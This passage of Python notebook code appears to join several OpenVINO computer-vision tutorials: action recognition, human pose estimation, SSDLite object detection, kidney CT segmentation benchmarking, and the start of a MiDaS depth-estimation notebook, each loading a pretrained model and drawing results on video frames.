    cv2.putText(frame, display_text, text_loc, FONT_STYLE, FONT_SIZE, FONT_COLOR)

# AI Functions
def preprocessing(frame: np.ndarray, size: int) -> np.ndarray:
    """
    Preparing frame before Encoder.
    The image should be scaled to its shortest dimension at "size"
    and cropped, centered, and squared so that both width and
    height have lengths "size". Frame must be transposed from
    Height-Width-Channels (HWC) to Channels-Height-Width (CHW).

    :param frame: input frame
    :param size: input size to encoder model
    :returns: resized and cropped frame
    """
    # Adaptative resize
    preprocessed = adaptive_resize(frame, size)
    # Center_crop
    (preprocessed, roi) = center_crop(preprocessed)
    # Transpose frame HWC -> CHW
    preprocessed = preprocessed.transpose((2, 0, 1))[None,]  # HWC -> CHW
    return preprocessed, roi


def encoder(
    preprocessed: np.ndarray,
    compiled_model: CompiledModel
) -> List:
    """
    Encoder Inference per frame. This function calls the network previously
    configured for the encoder model (compiled_model), extracts the data
    from the output node, and appends it in an array to be used by the decoder.

    :param: preprocessed: preprocessing frame
    :param: compiled_model: Encoder model network
    :returns: encoder_output: embedding layer that is appended with each arriving frame
    """
    output_key_en = compiled_model.output(0)
    
    # Get results on action-recognition-0001-encoder model
    infer_result_encoder = compiled_model([preprocessed])[output_key_en]
    return infer_result_encoder


def decoder(encoder_output: List, compiled_model_de: CompiledModel) -> List:
    """
    Decoder inference per set of frames. This function concatenates the embedding layer
    froms the encoder output, transpose the array to match with the decoder input size.
    Calls the network previously configured for the decoder model (compiled_model_de), extracts
    the logits and normalize those to get confidence values along specified axis.
    Decodes top probabilities into corresponding label names

    :param: encoder_output: embedding layer for 16 frames
    :param: compiled_model_de: Decoder model network
    :returns: decoded_labels: The k most probable actions from the labels list
              decoded_top_probs: confidence for the k most probable actions
    """
    # Concatenate sample_duration frames in just one array
    decoder_input = np.concatenate(encoder_output, axis=0)
    # Organize input shape vector to the Decoder (shape: [1x16x512]]
    decoder_input = decoder_input.transpose((2, 0, 1, 3))
    decoder_input = np.squeeze(decoder_input, axis=3)
    output_key_de = compiled_model_de.output(0)
    # Get results on action-recognition-0001-decoder model
    result_de = compiled_model_de([decoder_input])[output_key_de]
    # Normalize logits to get confidence values along specified axis
    probs = softmax(result_de - np.max(result_de))
    # Decodes top probabilities into corresponding label names
    decoded_labels, decoded_top_probs = decode_output(probs, labels, top_k=3)
    return decoded_labels, decoded_top_probs


def softmax(x: np.ndarray) -> np.ndarray:
    """
    Normalizes logits to get confidence values along specified axis
    x: np.array, axis=None
    """
    exp = np.exp(x)
    return exp / np.sum(exp, axis=None)

# Main Processing Function
def run_action_recognition(
    source: str = "0",
    flip: bool = True,
    use_popup: bool = False,
    compiled_model_en: CompiledModel = compiled_model_en,
    compiled_model_de: CompiledModel = compiled_model_de,
    skip_first_frames: int = 0,
):
    """
    Use the "source" webcam or video file to run the complete pipeline for action-recognition problem
    1. Create a video player to play with target fps
    2. Prepare a set of frames to be encoded-decoded
    3. Preprocess frame before Encoder
    4. Encoder Inference per frame
    5. Decoder inference per set of frames
    6. Visualize the results

    :param: source: webcam "0" or video path
    :param: flip: to be used by VideoPlayer function for flipping capture image
    :param: use_popup: False for showing encoded frames over this notebook, True for creating a popup window.
    :param: skip_first_frames: Number of frames to skip at the beginning of the video.
    :returns: display video over the notebook or in a popup window

    """
    size = height_en  # Endoder input size - From Cell 5_9
    sample_duration = frames2decode  # Decoder input size - From Cell 5_7
    # Select frames per second of your source
    fps = 30
    player = None
    try:
        # Create a video player
        player = utils.VideoPlayer(source, flip=flip, fps=fps, skip_first_frames=skip_first_frames)
        # Start capturing
        player.start()
        if use_popup:
            title = "Press ESC to Exit"
            cv2.namedWindow(title, cv2.WINDOW_GUI_NORMAL | cv2.WINDOW_AUTOSIZE)

        processing_times = collections.deque()
        processing_time = 0
        encoder_output = []
        decoded_labels = [0, 0, 0]
        decoded_top_probs = [0, 0, 0]
        counter = 0
        # Create a text template to show inference results over video
        text_inference_template = "Infer Time:{Time:.1f}ms,{fps:.1f}FPS"
        text_template = "{label},{conf:.2f}%"

        while True:
            counter = counter + 1

            # read a frame from the video stream
            frame = player.next()
            if frame is None:
                print("Source ended")
                break

            scale = 1280 / max(frame.shape)

            # Adaptative resize for visualization
            if scale < 1:
                frame = cv2.resize(frame, None, fx=scale, fy=scale, interpolation=cv2.INTER_AREA)

            # Select one frame every two for processing through the encoder.
            # After 16 frames are processed, the decoder will find the action,
            # and the label will be printed over the frames.

            if counter % 2 == 0:
                # Preprocess frame before Encoder
                (preprocessed, _) = preprocessing(frame, size)

                # Measure processing time
                start_time = time.time()

                # Encoder Inference per frame
                encoder_output.append(encoder(preprocessed, compiled_model_en))

                # Decoder inference per set of frames
                # Wait for sample duration to work with decoder model
                if len(encoder_output) == sample_duration:
                    decoded_labels, decoded_top_probs = decoder(encoder_output, compiled_model_de)
                    encoder_output = []

                # Inference has finished ... Let's to display results
                stop_time = time.time()

                # Calculate processing time
                processing_times.append(stop_time - start_time)

                # Use processing times from last 200 frames
                if len(processing_times) > 200:
                    processing_times.popleft()

                # Mean processing time [ms]
                processing_time = np.mean(processing_times) * 1000
                fps = 1000 / processing_time

            # Visualize the results
            for i in range(0, 3):
                display_text = text_template.format(
                    label=decoded_labels[i],
                    conf=decoded_top_probs[i] * 100,
                )
                display_text_fnc(frame, display_text, i)

            display_text = text_inference_template.format(Time=processing_time, fps=fps)
            display_text_fnc(frame, display_text, 3)

            # Use this workaround you experience flickering
            if use_popup:
                cv2.imshow(title, frame)
                key = cv2.waitKey(1)
                # escape = 27
                if key == 27:
                    break
            else:
                # Encode numpy array to jpg
                _, encoded_img = cv2.imencode(".jpg", frame, params=[cv2.IMWRITE_JPEG_QUALITY, 90])
                # Create IPython image
                i = display.Image(data=encoded_img)
                # Display the image in this notebook
                display.clear_output(wait=True)
                display.display(i)

    # ctrl-c
    except KeyboardInterrupt:
        print("Interrupted")
    # Any different error
    except RuntimeError as e:
        print(e)
    finally:
        if player is not None:
            # stop capturing
            player.stop()
        if use_popup:
            cv2.destroyAllWindows()

# Run Action Recognition on a Video File
video_file = "https://archive.org/serve/ISSVideoResourceLifeOnStation720p/ISS%20Video%20Resource_LifeOnStation_720p.mp4"
run_action_recognition(source=video_file, flip=False, use_popup=False, skip_first_frames=600)

# Run Action Recognition using your webcam
run_action_recognition(source=0, flip=False, use_popup=False, skip_first_frames=0)
# Imports
import collections
import os
import sys
import time

import cv2
import numpy as np
from IPython import display
from numpy.lib.stride_tricks import as_strided
from openvino.runtime import Core

from decoder import OpenPoseDecoder

sys.path.append("../utils")
import notebook_utils as utils

# Download the model
# directory where model will be downloaded
base_model_dir = "model"

# model name as named in Open Model Zoo
model_name = "human-pose-estimation-0001"
# selected precision (FP32, FP16, FP16-INT8)
precision = "FP16-INT8"

model_path = f"model/intel/{model_name}/{precision}/{model_name}.xml"
model_weights_path = f"model/intel/{model_name}/{precision}/{model_name}.bin"

if not os.path.exists(model_path):
    download_command = f"omz_downloader " \
                       f"--name {model_name} " \
                       f"--precision {precision} " \
                       f"--output_dir {base_model_dir}"
    ! $download_command

# Load the model
# initialize inference engine
ie_core = Core()
# read the network and corresponding weights from file
model = ie_core.read_model(model=model_path, weights=model_weights_path)
# load the model on the CPU (you can use GPU or MYRIAD as well)
compiled_model = ie_core.compile_model(model=model, device_name="CPU")

# get input and output names of nodes
input_layer = compiled_model.input(0)
output_layers = list(compiled_model.outputs)

# get input size
height, width = list(input_layer.shape)[2:]

# Processing OpenPoseDecoder
decoder = OpenPoseDecoder()

# Process Results
# 2d pooling in numpy (from: htt11ps://stackoverflow.com/a/54966908/1624463)
def pool2d(A, kernel_size, stride, padding, pool_mode="max"):
    """
    2D Pooling

    Parameters:
        A: input 2D array
        kernel_size: int, the size of the window
        stride: int, the stride of the window
        padding: int, implicit zero paddings on both sides of the input
        pool_mode: string, 'max' or 'avg'
    """
    # Padding
    A = np.pad(A, padding, mode="constant")

    # Window view of A
    output_shape = (
        (A.shape[0] - kernel_size) // stride + 1,
        (A.shape[1] - kernel_size) // stride + 1,
    )
    kernel_size = (kernel_size, kernel_size)
    A_w = as_strided(
        A,
        shape=output_shape + kernel_size,
        strides=(stride * A.strides[0], stride * A.strides[1]) + A.strides
    )
    A_w = A_w.reshape(-1, *kernel_size)

    # Return the result of pooling
    if pool_mode == "max":
        return A_w.max(axis=(1, 2)).reshape(output_shape)
    elif pool_mode == "avg":
        return A_w.mean(axis=(1, 2)).reshape(output_shape)


# non maximum suppression
def heatmap_nms(heatmaps, pooled_heatmaps):
    return heatmaps * (heatmaps == pooled_heatmaps)


# get poses from results
def process_results(img, pafs, heatmaps):
    # this processing comes from
    # https://github.com/openvinotoolkit/open_model_zoo/blob/master/demos/common/python/models/open_pose.py
    pooled_heatmaps = np.array(
        [[pool2d(h, kernel_size=3, stride=1, padding=1, pool_mode="max") for h in heatmaps[0]]]
    )
    nms_heatmaps = heatmap_nms(heatmaps, pooled_heatmaps)

    # decode poses
    poses, scores = decoder(heatmaps, nms_heatmaps, pafs)
    output_shape = list(compiled_model.output(index=0).partial_shape)
    output_scale = img.shape[1] / output_shape[3].get_length(), img.shape[0] / output_shape[2].get_length()
    # multiply coordinates by scaling factor
    poses[:, :, :2] *= output_scale
    return poses, scores

# Draw Pose Overlays
colors = ((255, 0, 0), (255, 0, 255), (170, 0, 255), (255, 0, 85), (255, 0, 170), (85, 255, 0),
          (255, 170, 0), (0, 255, 0), (255, 255, 0), (0, 255, 85), (170, 255, 0), (0, 85, 255),
          (0, 255, 170), (0, 0, 255), (0, 255, 255), (85, 0, 255), (0, 170, 255))

default_skeleton = ((15, 13), (13, 11), (16, 14), (14, 12), (11, 12), (5, 11), (6, 12), (5, 6), (5, 7),
                    (6, 8), (7, 9), (8, 10), (1, 2), (0, 1), (0, 2), (1, 3), (2, 4), (3, 5), (4, 6))


def draw_poses(img, poses, point_score_threshold, skeleton=default_skeleton):
    if poses.size == 0:
        return img

    img_limbs = np.copy(img)
    for pose in poses:
        points = pose[:, :2].astype(np.int32)
        points_scores = pose[:, 2]
        # Draw joints.
        for i, (p, v) in enumerate(zip(points, points_scores)):
            if v > point_score_threshold:
                cv2.circle(img, tuple(p), 1, colors[i], 2)
        # Draw limbs.
        for i, j in skeleton:
            if points_scores[i] > point_score_threshold and points_scores[j] > point_score_threshold:
                cv2.line(img_limbs, tuple(points[i]), tuple(points[j]), color=colors[j], thickness=4)
    cv2.addWeighted(img, 0.4, img_limbs, 0.6, 0, dst=img)
    return img

# Main Processing Function
# main processing function to run pose estimation
def run_pose_estimation(source=0, flip=False, use_popup=False, skip_first_frames=0):
    pafs_output_key = compiled_model.output("Mconv7_stage2_L1")
    heatmaps_output_key = compiled_model.output("Mconv7_stage2_L2")
    player = None
    try:
        # create video player to play with target fps
        player = utils.VideoPlayer(source, flip=flip, fps=30, skip_first_frames=skip_first_frames)
        # start capturing
        player.start()
        if use_popup:
            title = "Press ESC to Exit"
            cv2.namedWindow(title, cv2.WINDOW_GUI_NORMAL | cv2.WINDOW_AUTOSIZE)

        processing_times = collections.deque()

        while True:
            # grab the frame
            frame = player.next()
            if frame is None:
                print("Source ended")
                break
            # if frame larger than full HD, reduce size to improve the performance
            scale = 1280 / max(frame.shape)
            if scale < 1:
                frame = cv2.resize(frame, None, fx=scale, fy=scale, interpolation=cv2.INTER_AREA)

            # resize image and change dims to fit neural network input
            # (see https://github.com/openvinotoolkit/open_model_zoo/tree/master/models/intel/human-pose-estimation-0001)
            input_img = cv2.resize(frame, (width, height), interpolation=cv2.INTER_AREA)
            # create batch of images (size = 1)
            input_img = input_img.transpose((2,0,1))[np.newaxis, ...]

            # measure processing time
            start_time = time.time()
            # get results
            results = compiled_model([input_img])
            stop_time = time.time()

            pafs = results[pafs_output_key]
            heatmaps = results[heatmaps_output_key]
            # get poses from network results
            poses, scores = process_results(frame, pafs, heatmaps)

            # draw poses on a frame
            frame = draw_poses(frame, poses, 0.1)

            processing_times.append(stop_time - start_time)
            # use processing times from last 200 frames
            if len(processing_times) > 200:
                processing_times.popleft()

            _, f_width = frame.shape[:2]
            # mean processing time [ms]
            processing_time = np.mean(processing_times) * 1000
            fps = 1000 / processing_time
            cv2.putText(frame, f"Inference time: {processing_time:.1f}ms ({fps:.1f} FPS)", (20, 40),
                        cv2.FONT_HERSHEY_COMPLEX, f_width / 1000, (0, 0, 255), 1, cv2.LINE_AA)

            # use this workaround if there is flickering
            if use_popup:
                cv2.imshow(title, frame)
                key = cv2.waitKey(1)
                # escape = 27
                if key == 27:
                    break
            else:
                # encode numpy array to jpg
                _, encoded_img = cv2.imencode(".jpg", frame, params=[cv2.IMWRITE_JPEG_QUALITY, 90])
                # create IPython image
                i = display.Image(data=encoded_img)
                # display the image in this notebook
                display.clear_output(wait=True)
                display.display(i)
    # ctrl-c
    except KeyboardInterrupt:
        print("Interrupted")
    # any different error
    except RuntimeError as e:
        print(e)
    finally:
        if player is not None:
            # stop capturing
            player.stop()
        if use_popup:
            cv2.destroyAllWindows()

# Run Live Pose Estimation
run_pose_estimation(source=0, flip=True, use_popup=False)

# Run Pose Estimation on a Video File
video_file = "https://github.com/intel-iot-devkit/sample-videos/blob/master/store-aisle-detection.mp4?raw=true"

run_pose_estimation(video_file, flip=False, use_popup=False, skip_first_frames=500)
# Imports
import collections
import os
import sys
import time

import cv2
import numpy as np
from IPython import display
from openvino.runtime import Core

sys.path.append("../utils")
import notebook_utils as utils

# Download the Model
# directory where model will be downloaded
base_model_dir = "model"

# model name as named in Open Model Zoo
model_name = "ssdlite_mobilenet_v2"

download_command = f"omz_downloader " \
                   f"--name {model_name} " \
                   f"--output_dir {base_model_dir} " \
                   f"--cache_dir {base_model_dir}"
! $download_command

# Convert the Model
precision = "FP16"

# output path for the conversion
converted_model_path = f"model/public/{model_name}/{precision}/{model_name}.xml"

if not os.path.exists(converted_model_path):
    convert_command = f"omz_converter " \
                      f"--name {model_name} " \
                      f"--download_dir {base_model_dir} " \
                      f"--precisions {precision}"
    ! $convert_command

# Load the Model
# initialize inference engine
ie_core = Core()
# read the network and corresponding weights from file
model = ie_core.read_model(model=converted_model_path)
# compile the model for the CPU (you can choose manually CPU, GPU, MYRIAD etc.)
# or let the engine choose the best available device (AUTO)
compiled_model = ie_core.compile_model(model=model, device_name="CPU")

# get input and output nodes
input_layer = compiled_model.input(0)
output_layer = compiled_model.output(0)

# get input size
height, width = list(input_layer.shape)[1:3]

# Process Results
# https://tech.amikelive.com/node-718/what-object-categories-labels-are-in-coco-dataset/
classes = [
    "background", "person", "bicycle", "car", "motorcycle", "airplane", "bus", "train",
    "truck", "boat", "traffic light", "fire hydrant", "street sign", "stop sign",
    "parking meter", "bench", "bird", "cat", "dog", "horse", "sheep", "cow", "elephant",
    "bear", "zebra", "giraffe", "hat", "backpack", "umbrella", "shoe", "eye glasses",
    "handbag", "tie", "suitcase", "frisbee", "skis", "snowboard", "sports ball", "kite",
    "baseball bat", "baseball glove", "skateboard", "surfboard", "tennis racket", "bottle",
    "plate", "wine glass", "cup", "fork", "knife", "spoon", "bowl", "banana", "apple",
    "sandwich", "orange", "broccoli", "carrot", "hot dog", "pizza", "donut", "cake", "chair",
    "couch", "potted plant", "bed", "mirror", "dining table", "window", "desk", "toilet",
    "door", "tv", "laptop", "mouse", "remote", "keyboard", "cell phone", "microwave", "oven",
    "toaster", "sink", "refrigerator", "blender", "book", "clock", "vase", "scissors",
    "teddy bear", "hair drier", "toothbrush", "hair brush"
]

# colors for above classes (Rainbow Color Map)
colors = cv2.applyColorMap(
    src=np.arange(0, 255, 255 / len(classes), dtype=np.float32).astype(np.uint8),
    colormap=cv2.COLORMAP_RAINBOW,
).squeeze()


def process_results(frame, results, thresh=0.6):
    # size of the original frame
    h, w = frame.shape[:2]
    # results is a tensor [1, 1, 100, 7]
    results = results.squeeze()
    boxes = []
    labels = []
    scores = []
    for _, label, score, xmin, ymin, xmax, ymax in results:
        # create a box with pixels coordinates from the box with normalized coordinates [0,1]
        boxes.append(
            tuple(map(int, (xmin * w, ymin * h, (xmax - xmin) * w, (ymax - ymin) * h)))
        )
        labels.append(int(label))
        scores.append(float(score))

    # apply non-maximum suppression to get rid of many overlapping entities
    # see https://paperswithcode.com/method/non-maximum-suppression
    # this algorithm returns indices of objects to keep
    indices = cv2.dnn.NMSBoxes(
        bboxes=boxes, scores=scores, score_threshold=thresh, nms_threshold=0.6
    )

    # if there are no boxes
    if len(indices) == 0:
        return []

    # filter detected objects
    return [(labels[idx], scores[idx], boxes[idx]) for idx in indices.flatten()]


def draw_boxes(frame, boxes):
    for label, score, box in boxes:
        # choose color for the label
        color = tuple(map(int, colors[label]))
        # draw box
        x2 = box[0] + box[2]
        y2 = box[1] + box[3]
        cv2.rectangle(img=frame, pt1=box[:2], pt2=(x2, y2), color=color, thickness=3)

        # draw label name inside the box
        cv2.putText(
            img=frame,
            text=f"{classes[label]} {score:.2f}",
            org=(box[0] + 10, box[1] + 30),
            fontFace=cv2.FONT_HERSHEY_COMPLEX,
            fontScale=frame.shape[1] / 1000,
            color=color,
            thickness=1,
            lineType=cv2.LINE_AA,
        )

    return frame

# Main Processing Function
# main processing function to run object detection
def run_object_detection(source=0, flip=False, use_popup=False, skip_first_frames=0):
    player = None
    try:
        # create video player to play with target fps
        player = utils.VideoPlayer(
            source=source, flip=flip, fps=30, skip_first_frames=skip_first_frames
        )
        # start capturing
        player.start()
        if use_popup:
            title = "Press ESC to Exit"
            cv2.namedWindow(
                winname=title, flags=cv2.WINDOW_GUI_NORMAL | cv2.WINDOW_AUTOSIZE
            )

        processing_times = collections.deque()
        while True:
            # grab the frame
            frame = player.next()
            if frame is None:
                print("Source ended")
                break
            # if frame larger than full HD, reduce size to improve the performance
            scale = 1280 / max(frame.shape)
            if scale < 1:
                frame = cv2.resize(
                    src=frame,
                    dsize=None,
                    fx=scale,
                    fy=scale,
                    interpolation=cv2.INTER_AREA,
                )

            # resize image and change dims to fit neural network input
            input_img = cv2.resize(
                src=frame, dsize=(width, height), interpolation=cv2.INTER_AREA
            )
            # create batch of images (size = 1)
            input_img = input_img[np.newaxis, ...]

            # measure processing time

            start_time = time.time()
            # get results
            results = compiled_model([input_img])[output_layer]
            stop_time = time.time()
            # get poses from network results
            boxes = process_results(frame=frame, results=results)

            # draw boxes on a frame
            frame = draw_boxes(frame=frame, boxes=boxes)

            processing_times.append(stop_time - start_time)
            # use processing times from last 200 frames
            if len(processing_times) > 200:
                processing_times.popleft()

            _, f_width = frame.shape[:2]
            # mean processing time [ms]
            processing_time = np.mean(processing_times) * 1000
            fps = 1000 / processing_time
            cv2.putText(
                img=frame,
                text=f"Inference time: {processing_time:.1f}ms ({fps:.1f} FPS)",
                org=(20, 40),
                fontFace=cv2.FONT_HERSHEY_COMPLEX,
                fontScale=f_width / 1000,
                color=(0, 0, 255),
                thickness=1,
                lineType=cv2.LINE_AA,
            )

            # use this workaround if there is flickering
            if use_popup:
                cv2.imshow(winname=title, mat=frame)
                key = cv2.waitKey(1)
                # escape = 27
                if key == 27:
                    break
            else:
                # encode numpy array to jpg
                _, encoded_img = cv2.imencode(
                    ext=".jpg", img=frame, params=[cv2.IMWRITE_JPEG_QUALITY, 100]
                )
                # create IPython image
                i = display.Image(data=encoded_img)
                # display the image in this notebook
                display.clear_output(wait=True)
                display.display(i)
    # ctrl-c
    except KeyboardInterrupt:
        print("Interrupted")
    # any different error
    except RuntimeError as e:
        print(e)
    finally:
        if player is not None:
            # stop capturing
            player.stop()
        if use_popup:
            cv2.destroyAllWindows()

# Run Live Object Detection
run_object_detection(source=0, flip=True, use_popup=False)

# Run Object Detection on a Video File
video_file = "../201-vision-monodepth/data/Coco Walking in Berkeley.mp4"

run_object_detection(source=video_file, flip=False, use_popup=False)
# Imports
import os
import sys
import zipfile
from pathlib import Path

import numpy as np
from monai.transforms import LoadImage
from openvino.inference_engine import IECore

sys.path.append("../utils")
from models.custom_segmentation import SegmentationModel
from notebook_utils import benchmark_model, download_file, show_live_inference

# Settings
# The directory that contains the IR model (xml and bin) files
MODEL_PATH = "pretrained_model/quantized_unet_kits19.xml"
# Uncomment the next line to use the FP16 model instead of the quantized model
# MODEL_PATH = "pretrained_model/unet_kits19.xml"

# Benchmark Model Performance
ie = IECore()
# By default, benchmark on MULTI:CPU,GPU if a GPU is available, otherwise on CPU.
device = "MULTI:CPU,GPU" if "GPU" in ie.available_devices else "CPU"
# Uncomment one of the options below to benchmark on other devices
# device = "GPU"
# device = "CPU"
# device = "AUTO"

# Benchmark model
benchmark_model(model_path=MODEL_PATH, device=device, seconds=15)

# Download and Prepare Data
# Directory that contains the CT scan data. This directory should contain subdirectories
# case_00XXX where XXX is between 000 and 299
BASEDIR = Path("kits19_frames_1")
# The CT scan case number. For example: 16 for data from the case_00016 directory
# Currently only 117 is supported
CASE = 117

case_path = BASEDIR / f"case_{CASE:05d}"

if not case_path.exists():
    filename = download_file(
        f"https://storage.openvinotoolkit.org/data/test_data/openvino_notebooks/kits19/case_{CASE:05d}.zip"
    )
    with zipfile.ZipFile(filename, "r") as zip_ref:
        zip_ref.extractall(path=BASEDIR)
    os.remove(filename)  # remove zipfile
    print(f"Downloaded and extracted data for case_{CASE:05d}")
else:
    print(f"Data for case_{CASE:05d} exists")

# Load model
ie = IECore()
segmentation_model = SegmentationModel(
    ie=ie, model_path=Path(MODEL_PATH), sigmoid=True, rotate_and_flip=True
)
image_paths = sorted(case_path.glob("imaging_frames/*jpg"))

print(f"{case_path.name}, {len(image_paths)} images")

# Show Live Inference
# Possible options for device include "CPU", "GPU", "AUTO", "MULTI"
device = "MULTI:CPU,GPU" if "GPU" in ie.available_devices else "CPU"
reader = LoadImage(image_only=True, dtype=np.uint8)

show_live_inference(
    ie=ie, image_paths=image_paths, model=segmentation_model, device=device, reader=reader
)
# Preparation
# Imports
import sys
import time
from pathlib import Path

import cv2
import matplotlib.cm
import matplotlib.pyplot as plt
import numpy as np
from IPython.display import (
    HTML,
    FileLink,
    Pretty,
    ProgressBar,
    Video,
    clear_output,
    display,
)
from openvino.runtime import Core

sys.path.append("../utils")
from notebook_utils import load_image

# Settings
DEVICE = "CPU"
MODEL_FILE = "model/MiDaS_small.xml"

model_xml_path = Path(MODEL_FILE)

# Functions
def normalize_minmax(data):
    """Normalizes the values in `data` between 0 and 1"""
    return (data - data.min()) / (data.max() - data.min())


def convert_result_to_image(result, colormap="viridis"):
    """
    Convert network result of floating point numbers to an RGB image with
    integer values from 0-255 by applying a colormap.

    `result` is expected to be a single network result in 1,H,W shape
    `colormap` is a matplotlib colormap.
    See https://matplotlib.org/stable/tutorials/colors/colormaps.html
    """